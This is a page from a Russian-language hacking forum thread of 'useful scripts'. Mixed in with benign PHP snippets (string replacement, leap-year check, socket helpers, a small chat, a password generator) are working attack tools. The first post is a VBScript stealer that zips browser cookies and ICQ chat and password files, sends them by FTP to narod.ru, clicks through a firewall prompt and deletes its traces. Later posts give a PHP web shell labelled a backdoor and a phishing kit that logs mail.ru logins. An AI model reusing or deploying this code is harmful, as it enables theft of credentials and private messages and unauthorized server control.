Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    VBS: - тырим cookie IE, Opera и ICQ данные и отсылаем на FTP на narod.ru

    Новая версия, изменения (значительные):

    1. Всё стало архивирироваться посредством встроенного в windows архиватора zip (т.е. мы теперь не зависим от наличия в системе WINRAR или любого другого архиватора)
    2. Исправлены ошибки в передачи файлов по FTP - теперь архивы не битые и рабочие
    3. Отчеты пакуются не в один архив, как раньше, а в несколько, по названию архива можно понять его содержимое. Сделано с целью уменьшения вероятности потери файлов большого объема при передаче по FTP (т.е. даже если связь оборвется, какая-то информация всё-таки успеет отослаться)
    4. В данной версия тыряца и архивируются в архив .zip с уникальным названием и отсылаются на FTP следующие вещи:
    - куки от IE
    - куки от Opera
    - Messages.mdb - история переписки ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)
    - Owner.mdb - файл паролей и контактов ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)

    В итоге при правильной работе скрипта у вас должно получиться 4 архива.

    >>СКАЧАТЬ (пароль 123)<<

    Ниже исходники:

    Code:
    Const FOF_SIMPLEPROGRESS = 256 
    Dim MySource, MyTarget, MyHex, MyBinary, i 
    Dim oShell, oCTF 
    Dim oFileSys 
    dim winShell 
    dim newfolderpath
    dim t
    On Error Resume Next
    'Создаем временную папку для записи нужных нам результатов (лучше, если название будет УНИКАЛЬНОЕ, чтобы не было конфликтов)
    '==========================================================
    h = Hour(Now)
    m = Minute(Now)
    s = Second(Now)
    t = date() & "-" & h & "-" & m & "-" & s
    dim filesys, newfolder 
    newfolderpath = "c:\12345" ' Название временной папки
    ICQ = 123456 'Номер ICQ, который хотим похекать
    set filesys=CreateObject("Scripting.FileSystemObject") 
    If Not filesys.FolderExists(newfolderpath) Then 
       Set newfolder = filesys.CreateFolder(newfolderpath) 
    End If
    set filesys=Nothing
    Set newfolder=Nothing
    '==========================================================
    ' Тырим куки OPERA
    set WshShell1 = WScript.CreateObject("WScript.Shell") 
    filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\profile\cookies4.dat" 'Тут указываем, то что архивируем.
    MySource = filePath
    MyTarget = newfolderpath & "\" & t & "-" & "opera_cookie.zip"
    archPath_OPERA = t & "-" & "opera_cookie.zip"
    MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
    For i = 0 To UBound(MyHex) 
    MyBinary = MyBinary & Chr(MyHex(i)) 
    Next 
    Set oShell = CreateObject("WScript.Shell") 
    Set oFileSys = CreateObject("Scripting.FileSystemObject") 
    Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
    oCTF.Write MyBinary 
    oCTF.Close 
    Set oCTF = Nothing 
    set winShell = createObject("shell.application") 
    winShell.namespace(MyTarget).CopyHere MySource 
    wScript.Sleep(5000)
    Set oFileSys = Nothing
    Set oShell = Nothing
    set WshShell = Nothing
    set WshShell1 = Nothing
    '==========================================================
    ' Тырим куки IE
    Const ForReading = 1, ForWriting = 2, ForAppending = 8 
    Dim MyZipName 
    Dim oApp, oFolder, oFile 
    set WshShell1 = WScript.CreateObject("WScript.Shell") 
    filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Cookies" 'Тут указываем, то что архивируем.
    set WshShell1 = Nothing
    MySource = filePath
    MyTarget = newfolderpath & "\" & t & "-" & "ie_cookie.zip"
    archPath_IE = t & "-" & "ie_cookie.zip"
    MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
    For i = 0 To UBound(MyHex) 
    MyBinary = MyBinary & Chr(MyHex(i)) 
    Next 
    Set oShell = CreateObject("WScript.Shell") 
    Set oFileSys = CreateObject("Scripting.FileSystemObject") 
    Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
    oCTF.Write MyBinary 
    oCTF.Close 
    Set oCTF = Nothing 
    Set oApp = CreateObject("Shell.Application") 
    Set oFolder = oApp.NameSpace(MySource) 
    If Not oFolder Is Nothing Then 
    oApp.NameSpace(MyTarget).CopyHere oFolder.Items 
    End If 
    wScript.Sleep(5000) 
    Set oFile = Nothing 
    On Error Resume Next 
    Do While (oFile Is Nothing) 
    Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False) 
    If Err.number <> 0 then 
    Err.Clear 
    wScript.Sleep 3000 
    End If 
    Loop 
    Set oFile=Nothing 
    Set oFileSys=Nothing
    '==========================================================
    ' Тырим переписку ICQ
    set WshShell1 = WScript.CreateObject("WScript.Shell") 
    filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\ICQ\" & ICQ & "\Messages.mdb" 'Тут указываем, то что архивируем.
    MySource = filePath
    MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Messages.zip"
    archPath_ICQ_history = t & "-" & "ICQ_Messages.zip"
    MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
    For i = 0 To UBound(MyHex) 
    MyBinary = MyBinary & Chr(MyHex(i)) 
    Next 
    Set oShell = CreateObject("WScript.Shell") 
    Set oFileSys = CreateObject("Scripting.FileSystemObject") 
    Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
    oCTF.Write MyBinary 
    oCTF.Close 
    Set oCTF = Nothing 
    set winShell = createObject("shell.application") 
    winShell.namespace(MyTarget).CopyHere MySource 
    wScript.Sleep(5000)
    Set oFileSys = Nothing
    Set oShell = Nothing
    set WshShell = Nothing
    set WshShell1 = Nothing
    '==========================================================
    ' Тырим файл с контактами и паролем ICQ
    set WshShell1 = WScript.CreateObject("WScript.Shell") 
    filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\ICQ\" & ICQ & "\Owner.mdb" 'Тут указываем, то что архивируем.
    MySource = filePath
    MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Owner.zip"
    archPath_ICQ_pass = t & "-" & "ICQ_Owner.zip"
    MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) 
    For i = 0 To UBound(MyHex) 
    MyBinary = MyBinary & Chr(MyHex(i)) 
    Next 
    Set oShell = CreateObject("WScript.Shell") 
    Set oFileSys = CreateObject("Scripting.FileSystemObject") 
    Set oCTF = oFileSys.CreateTextFile(MyTarget, True) 
    oCTF.Write MyBinary 
    oCTF.Close 
    Set oCTF = Nothing 
    set winShell = createObject("shell.application") 
    winShell.namespace(MyTarget).CopyHere MySource 
    wScript.Sleep(5000)
    Set oFileSys = Nothing
    Set oShell = Nothing
    set WshShell = Nothing
    set WshShell1 = Nothing
    '==========================================================
    'Отсылаем на ФТП на narod.ru
    'Создаем файл сценария для FTP.EXE 
    set FSO = CreateObject("Scripting.FileSystemObject") 
    Set WSHshell = WScript.CreateObject("WScript.Shell") 
    Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
    Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
    cScript.WriteLine "Open ftp.narod.ru" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
    cScript.WriteLine "User" '- Имя пользователя 
    cScript.WriteLine "Password" '- Пароль 
    cScript.WriteLine "drive C:" '- Выбраем диск С
    cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
    cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
    cScript.WriteLine "binary" ' - метод передачи файлов по FTP
    cScript.WriteLine "PUT " & archPath_IE '- Отправляем куки от IE
    cScript.WriteLine "PUT " & archPath_OPERA   '- Отправляем куки от OPERA
    cScript.WriteLine "PUT " & archPath_ICQ_history   '- Отправляем историю переписки ICQ
    cScript.WriteLine "PUT " & archPath_ICQ_pass   '- Отправляем файл паролей и контактов ICQ
    cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
    cScript.Close '- Конец записи в файл сценария 
    ' Запускаем FTP-сценарий 
    WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
    ' Обходим фаер (в данном случае Outpost, если не надо, закоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
    set w=CreateObject("WScript.Shell")
    a=0
    do
    r=W.AppActivate("ftp.exe")
    if r then
    a=1
    w.SendKeys "{tab 2}"
    w.SendKeys "{enter}"
    end if
    loop until a=1
    set w=Nothing
    '---------------------------
    Set fso = Nothing 
    Set WSHshell  = Nothing 
    '==========================================================
    'Заметаем следы (удаляем временную папку с нашими палевными архивами)
    WScript.Sleep 60000 'Задаем паузу, чтобы успело скопироваться на ФТП - чем больше, тем надежней, в данном случае 1 минута
    set FSO = CreateObject("Scripting.FileSystemObject") 
    Set MyFile = fso.GetFolder(newfolderpath)
    MyFile.Delete
    Set FSO = Nothing 
    Set MyFile  = Nothing 
    Wscript.Quit ' -выход
    
     
    #521 Pashkela, 16 Dec 2008
    Last edited: 16 Dec 2008
    1 person likes this.
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    PHP - функция по замене только первого найденного совпадения по шаблону в строке

    PHP:
    <?
    /* Функция по замене только первого найденного совпадения*/
    function first($str,$chto_meniaem,$na_chto_meniaem)
    {
    $iparr split ($chto_meniaem$str);
    $count=count($iparr) . "\r\n";
    echo 
    $iparr[0];
    for (
    $i=0;$i<=$count;$i++)
    {
    if (
    $i==1){$iparr[1]=$na_chto_meniaem;echo $iparr[1];}
    else 
    {
    if (empty(
    $iparr[$i])){$iparr[$i]=$chto_meniaem;echo $iparr[$i];}
    }
    }
    echo 
    $iparr[$count-1];
    }

    /* Пример использования*/
    $msg="рудик вахтанг <<<<<<<<< дыня, арбуз, и т.п.";
    $meniaem '<';
    $zamena 'ord("<")';
    echo 
    $msg "\r\n";

    echo 
    first($msg,$meniaem,$zamena) . "\r\n";
    ?>
     
    1 person likes this.
  3. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    PHP:
    <?php
    echo preg_replace('/</''ord("<")''<<<<<<<<<'1); // Четвёртый параметр именно для этого и придумали.
    ?>
     
    4 people like this.
  4. -Hormold-

    -Hormold- Кто, если не ты?

    Joined:
    29 Sep 2007
    Messages:
    418
    Likes Received:
    290
    Reputations:
    44
    Очень простой шелл
    PHP:
    <?
    echo 
    'OS : '.@substr(@php_uname(),0,120).'<br>';
    echo 
    'User : '.get_current_user().'';
    ?>
    <FORM METHOD=GET><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" value="EXEC"></FORM>
    <FORM METHOD=GET><INPUT TYPE="text" NAME="eval"><INPUT TYPE="submit" value="EVAL"></FORM>
    <FORM METHOD=GET><INPUT TYPE="text" NAME="unlink"><INPUT TYPE="submit" value="unlink"></FORM>
    <FORM METHOD=GET><INPUT TYPE="text" NAME="upload"> to: <INPUT TYPE="text" NAME="to"><INPUT TYPE="submit" value="upload"></FORM>
    <pre>
    <?
    if($_GET['cmd']){echo exec($_GET['cmd']);}
    if($_GET['eval']){echo eval($_GET['eval']);}
    if($_GET['unlink']){echo unlink($_GET['unlink']);}
    if($_GET['upload']){$f=file_get_contents($_GET['upload']);$fp=fopen($_GET['to'],"w");fwrite($fp,$f);fclose($fp);}
    ?>
    </pre>
    BackDoor.CMD.11 by Hormold
    Палит Dr.Web, т.к. выслал им для проверки оперативности...
     
    #524 -Hormold-, 17 Dec 2008
    Last edited: 17 Dec 2008
    2 people like this.
  5. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    Socks-checker (PHP)

    (Задание)
    Скрипт работает в один поток (через сокеты, без использования curl). Для проверки сокса, он отправляет 3 байта - 0x05 0x01 0x00, результат (работает или нет), получаем исходя из ответа сервера.
    Сам скрипт

    сорри, я написал в приват а потом нашел этот псто здесь))
     
    #525 ntldr, 18 Dec 2008
    Last edited: 18 Dec 2008
    1 person likes this.
  6. Nono

    Nono New Member

    Joined:
    21 Jul 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Можно скрипт которой показает папки данново сайта.
    Пример: Я хочу знать какие папки есть на сайт www.abv.bg
     
  7. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    у тебя доступ к нему естЬ?
     
  8. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Для ROA сделал хранимую процедуру PostgreSQL для определения - високосный ли год или нет...
    На вход приминимает,собственно год(допустим из определенного поля таблицы)...в принципе переделать на тип данных date не сложно ))

    Code:
    CREATE FUNCTION year_leap2 (integer) RETURNS integer AS $$
    my $year = shift;
    if($year%100 == 0)
    {
            if($year%400 == 0)
            {
                    return 1
            }
            else
            {
                    return 0
            }
    } else {
            if($year%4 == 0)
            {
                    return 1
            }
            else
            {
                    return 0
            }
    }
    $$ LANGUAGE plperl;
    
    
    Смысла определять текущий год через CURRENT_DATE имхо нету, лишние затраты ресурсов - проще закешировать...

    PS: Поправил на более читаемый вариант и без хаков с sprintf()
     
    #528 biophreak, 19 Dec 2008
    Last edited: 25 Dec 2008
  9. kik8888

    kik8888 Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    45
    Likes Received:
    6
    Reputations:
    -4
    Задание для ROA

    Задание для ROA
    PHP:
    <?
    set_time_limit(0);

    //функция для PHP-сокетов, после которой работа ведется аналогично fsockopen()
    //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
    //для работы требуются включенные сокеты
    function socks4_open($server,$port,&$errno,&$errstr){
      if(!(
    $socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){
        
    $errno=socket_last_error();
        
    $errstr=socket_strerror($errno);
        return 
    false;
      } else return 
    $socket;
    }

    //функция для PHP-сокетов, возвращающая ответ на запрос($q) к серверу($server) через порт($port)
    //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
    //для работы требуются включенные сокеты
    function socket_otvet($server,$port,$q,&$errno,&$errstr){
      if(!(
    $socket=socket_create(AF_INET,SOCK_STREAM,SOL_TCP)) || !socket_connect($socket,$server,$port)){
        
    $errno=socket_last_error();
        
    $errstr=socket_strerror($errno);
        return 
    false;
      } else {
        
    socket_write($socket,$q,strlen($q));
        while(
    $otvet=socket_read($socket,1024)){
          
    $otv.=$otvet;
        }
        
    socket_close($socket);
        return 
    $otv;
      }
    }

    //функция для fsockopen(), возвращающая ответ на запрос($q) к серверу($server) через порт($port)
    //в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
    function fsock_otvet($server,$port,$q,&$errno,&$errstr){
      if(!(
    $fp=fsockopen($server,$port,$errno,$errstr,30))){
        return 
    false;
      } else {
        
    fputs($fp,$q);
        while(!
    feof($fp)){
          
    $otv.=fgets($fp,1024);
        }
        
    fclose($fp);
        return 
    $otv;
      }
    }

    //пример запроса
    $q="GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n";

    //пример работы socks4_open()
    $sock=socks4_open("mail.ru",80,$errno,$errstr);
      if(!
    $sock){
        echo 
    "$errstr ($errno)<br>\n";
      } else {
        
    socket_write($sock,$q,strlen($q));
        while(
    $otvet=socket_read($sock,1024)){
          
    $otv.=$otvet;
        }
      }
    socket_close($sock);
    echo 
    $otv;

    //пример работы socket_otvet()
    if($otv=socket_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";

    //пример работы fsock_otvet()
    if($otv=fsock_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";
    ?>
     
  10. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    78
    Likes Received:
    64
    Reputations:
    7
    моментальный поиск по сортированному массиву структур

    Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51

    Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
    Исходник: http://vkorostene.com.ua/search/source.rar

    Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен)
     
  11. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    Суть была в индексах
     
  12. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Функция Whois доменов по сектору .ru

    PHP:
    <?
    Function 
    whois($domen)
    {
    $result file('http://ip-whois.net/whois.php?whois='.$domen);
    if (
    preg_match('/match/',$result[70])) echo 'Not registered';
    else for (
    $i=52;$i<=64;$i++) echo $result[$i];
    }
    /*Пример вызова*/
    whois('forum.antichat.ru');
    ?>
     
  13. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,192
    Likes Received:
    727
    Reputations:
    266
    Даже не в них. А в самостоятельной реализации такого поиска.
    Представим, что файл весит 20гб...
     
  14. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Скелет фейка на mail.ru

    2 файла:

    1. login.php (или хотите назовите его login.html)

    PHP:
    <html
    <
    head
    <
    title></title
    </
    head
    <
    bоdу
    <
    div align="center"
    <
    form method="post" action='mail.ru.php'
    <
    table
    <
    tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr
    <
    tr><td><span>Password:</span></td><td><input type="password" name="pass" /></td></tr
    </
    table
    <
    input type="submit" name="submit" value="ok" /> 
    </
    form
    </
    div
    </
    bоdу
    </
    html>
    2. mail.ru.php

    PHP:
    <?php 
    $log
    =$_POST['login'];
    $pass=$_POST['pass'];
    if (empty(
    $log) or empty($pass)) {echo 'Please fill login or password'; echo '<meta http-equiv="Refresh" content="2;URL=login.php">';exit;}
    $file "mails.txt"
    $f fopen($file"a"); 
    fwrite($f"$log;$pass \r\n"); 
    fclose($f); 
    ?>

    <html> 
    <head> 
    </head> 
    <body> 
    <form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' > 
    <input type="hidden" name='Login' value=<?php echo $log;?>
    <input  type="hidden" name="Password"  value=<?php echo $pass;?>>
    <input type='hidden' name='Domain' value='mail.ru'>
    </form> 
    <script language='javascript'> 
    document.mail.submit();
    </script> 
    </body> 
    </html>
     
    #534 Pashkela, 22 Dec 2008
    Last edited: 22 Dec 2008
  15. Exlibris

    Exlibris Elder - Старейшина

    Joined:
    26 Feb 2007
    Messages:
    360
    Likes Received:
    395
    Reputations:
    27
    делать было нех написал 2 простеньких скрипта :D
    чат (2 файла)
    guest.php
    PHP:
    <html>
    <body>
    <form action="guest.php" method="post" name="text" terget="_top">
    <input type="text" align="top" name="text">
    <input type="submit" value="чик">
    <a href="unlink.php">clear</a>
    </body>
    </html>
    <?php
    $tmp_file 
    "tmp.txt";
    $time date("d:m:y::H:i:s");
    $msg $_POST['text'];

    if(!
    file_exists($tmp_file))
    {
        echo 
    "файл истории недоступен";
    }
    else
    {
        
    $file fopen($tmp_file,"a+");
        echo 
    $msg;
        
    fwrite($file,$time." ".$msg."\n");
        
    $s file($tmp_file);
        foreach (
    $s as $k => $v)
        {
            
    $i++;
            if(
    $i == 0)
            {
                echo 
    "<table align='center' width='50%'>";
                echo 
    "<tr>"."<td bgcolor='13becd'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
            }
            else
            {
                echo 
    "<table align='center' width='50%'>";
                echo 
    "<tr>"."<td bgcolor='a7f97a'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
                
            }
        }    
    }
    fclose($file);
    ?>
    unlink.php
    PHP:
    <?php
    $file 
    "tmp.txt";
    unlink($file);
    fopen($file,"a+");
    header("location:http://127.0.0.1/code/guest.php");
    fclose($file);
    ?>
    --
    генератор паролей
    PHP:
    <html>
    <form action="pass_gen.php" name="len" method="post">
    Длина пароля: <input type="text" name="len">
    <input type="submit" value="go">
    </html>

    <?php
    //символы
    $a     "abcdefghijklmnopqrstuvwxyz";
    $b     strtoupper($a);
    $n     "0123456789";
    $s     "!@#$%^&*()[]";
    $all   $a.$b.$n.$s;

    $lenght $_POST['len'];//длина пароля
    echo "=".$lenght."<br>";
    $radio $_POST['rad'];//вид пасса
    echo $radio;
    $count strlen($all);

    if(
    $lenght<=8)
    {
        
    $pass '';
        for(
    $i=0;$i<$lenght;$i++)
        {
            
    $pass .= substr($allrand(1,$count),1);
        }
        echo 
    "pass:  ".$pass;
    }
    else 
    {
        echo 
    "парель не должен привышать 8 символов";
    }
    ?>
     
    9 people like this.
  16. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    есть у кого-то реггер сайтов на народе?
     
  17. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    там капча во время реги
     
  18. Inviseble_Demon

    Inviseble_Demon New Member

    Joined:
    21 Dec 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    У меня есть скриптец которы ну не распознает капчу, а отправляет её на сайт там её люди распознают (в принцепи быстро 3-5 сек !).

    Если каму надо могу выложить с мануалом !
    Для любой реги подойдет.

    На счет реги на народе помойму тема старая !
    Но если ещё актуально то могу написать.
     
  19. Inviseble_Demon

    Inviseble_Demon New Member

    Joined:
    21 Dec 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    И вобще если комунить нужен регер на каком либо сайте стучите !
    1 условие чтобы на сайте не использовалить сертифекаты !
    А все остальное без проблем.
     
  20. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    ну как на мыле ру вывоодтся на странице много капч и вводишь их
     
    1 person likes this.
Loading...